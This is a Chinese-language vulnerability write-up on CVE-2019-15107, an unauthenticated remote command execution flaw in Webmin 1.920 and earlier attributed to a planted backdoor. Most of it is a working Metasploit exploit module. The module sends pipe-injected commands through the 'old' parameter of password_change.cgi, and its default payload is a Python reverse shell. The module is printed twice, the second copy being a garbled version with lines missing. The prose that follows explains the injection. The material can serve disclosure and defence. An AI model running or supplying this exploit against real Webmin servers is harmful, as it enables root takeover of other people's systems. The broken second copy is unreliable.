Webmin 小于等于 1.920 – Unauthenticated RCE

发表于 2019年09月03日
Vulndb

EDB-ID: 47230

CVE-2019-15107

本日由 Vendor 在@defcon AppSec Village 发布，修复了这个漏洞。
Webmin 必须更新到1.930版本。
Exploit-DB Link
CVE-Mitre Link
Download defcon_webmin_unauth_rce.rb (Metasploit)

这个漏洞是由一名不知名的黑客秘密种植的，他成功地在其构建基础架构中的某个时刻成功注入了一个后门，令人惊讶地持续存在于各种版本的Webmin（1.882到1.921）中并最终被隐藏了一年多。开发人员确认官方Webmin下载仅由项目的SourceForge存储库中的后端软件包替换，而不是Webmin的Github存储库。

Webmin <= 1.920 - Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin 1.882 <= 1921 Unauthenticated RCE',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.920 and prior versions. If the password change module is turned on, the unathenticated user
        can execute arbitrary commands with root privileges.

        Webmin 1.890 is vulnerable in the default configuration, while the other affected versions 
        require the “user password change” option to be enabled. 
		
        /////// This 0day has been published at DEFCON-AppSec Village. ///////		

      ),
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-'],
          ['URL', 'https://www.pentest.com.tr']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_python'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.910', {}]],
      'DisclosureDate' => 'May 16 2019',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
  ##
  # Target and input verification
  ##
  def check
    # check passwd change priv
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, "password_change.cgi"),
      'headers' =>
        {
          'Referer' => "#{peer}/session_login.cgi"
        },
      'cookie'  => "redirect=1; testing=1; sid=x; sessiontest=1"
    })

    if res && res.code == 200 && res.body =~ /Failed/
      res = send_request_cgi(
        {
        'method' => 'POST',
        'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
        'headers' =>
          {
            'Referer' => "#{peer}/session_login.cgi"
          },
        'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"        
        })

      if res && res.code == 200 && res.body =~ /password_change.cgi/
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Safe
    end
  end

  ##
  # Exploiting phase
  ##
  def exploit

    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    command = payload.encoded
    print_status("Attempting to execute the payload...")
    handler

    res = send_request_cgi(
      {
      'method' => 'POST',
      'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
      'ctype'  => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
      'headers' =>
        {
          'Referer' => "#{peer}/session_login.cgi"
        },
      'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
      })

  end
end

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Webmin 1.882 <= 1921 Unauthenticated RCE',

'Description' => %q(

This module exploits an arbitrary command execution vulnerability in Webmin

1.920 and prior versions. If the password change module is turned on, the unathenticated user

can execute arbitrary commands with root privileges.

Webmin 1.890 is vulnerable in the default configuration, while the other affected versions

require the “user password change” option to be enabled.

/////// This 0day has been published at DEFCON-AppSec Village. ///////

'Author' => [

'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus

'License' => MSF_LICENSE,

'References' =>

[

['CVE', '2019-'],

['URL', 'https://www.pentest.com.tr']

'Privileged' => true,

'Payload' =>

{

'DisableNops' => true,

'Space' => 512,

'Compat' =>

{

'PayloadType' => 'cmd'

}

'DefaultOptions' =>

{

'RPORT' => 10000,

'SSL' => false,

'PAYLOAD' => 'cmd/unix/reverse_python'

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Targets' => [['Webmin <= 1.910', {}]],

'DisclosureDate' => 'May 16 2019',

'DefaultTarget' => 0)

)

register_options [

OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])

]

end

def peer

"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"

end

# Target and input verification

def check

# check passwd change priv

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path, "password_change.cgi"),

'headers' =>

{

'Referer' => "#{peer}/session_login.cgi"

'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"

})

if res && res.code == 200 && res.body =~ /Failed/

res = send_request_cgi(

{

'method' => 'POST',

'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",

'ctype' => 'application/x-www-form-urlencoded',

'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),

'headers' =>

{

'Referer' => "#{peer}/session_login.cgi"

'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"

})

if res && res.code == 200 && res.body =~ /password_change.cgi/

return CheckCode::Vulnerable

else

return CheckCode::Safe

end

else

return CheckCode::Safe

end

# Exploiting phase

def exploit

unless Exploit::CheckCode::Vulnerable == check

fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')

end

command = payload.encoded

print_status("Attempting to execute the payload...")

handler

res = send_request_cgi(

{

'method' => 'POST',

'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",

'ctype' => 'application/x-www-form-urlencoded',

'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),

'headers' =>

{

'Referer' => "#{peer}/session_login.cgi"

'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"

})

end

在webmin中，必须允许漏洞利用漏洞的“用户密码更改”。这是唯一的条件。许多webmin管理器都支持此功能。它们允许用户使用旧密码设置新密码。让我们仔细看看这个。Webmin 1.890在默认配置中容易受到攻击，而其他受影响的版本则需要启用“用户密码更改”选项。在研究Webmin应用程序时，我注意到了一些有趣的“.cgi”文件。其中一个是“password_change.cgi”

此文件中的参数只有一个要求，即“miniserv.conf”配置文件中的“passwd_mode”值设置为“2”。

$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

1	$miniserv{'passwd_mode'} == 2 \|\| die "Password changing is not enabled!";

那么管理员如何激活此配置？让我们检查…在“Webmin> Webmin配置>身份验证”部分中，应检查“使用过期密码提示用户输入新密码”。这意味着“miniserv.conf”中“password_change”的值为“2”。

在此配置之后，用户可以通过验证其旧密码来更改其过期密码。那么漏洞到底在哪里？让我们回到“password_change.cgi”。

“password_change.cgi”将旧密码发送到“acl / acl-lib.pl”中的“encrypt_password”函数该函数调用另一个函数“unix_crypt”。在另一部分中，再次为“验证旧密码”调用相同的函数“unix_crypt”。

此时，我们将在验证旧密码期间通过读取影子文件来使用“竖线（|）”。让我们通过使用burp套件发送请求来查看此内容。

我们发送了一个带有普通“POST”数据的请求，并自然给出了一个错误“无法更改密码：当前密码不正确”。该漏洞完全包含在“旧”参数中。用户名，旧密码或其他信息是否正确无关紧要。文件“password_change.cgi”将检查服务器上“old”参数中的信息。它甚至不会检查用户名是否正确。我们现在将使用“竖线（|）”并尝试在服务器上运行不同的命令。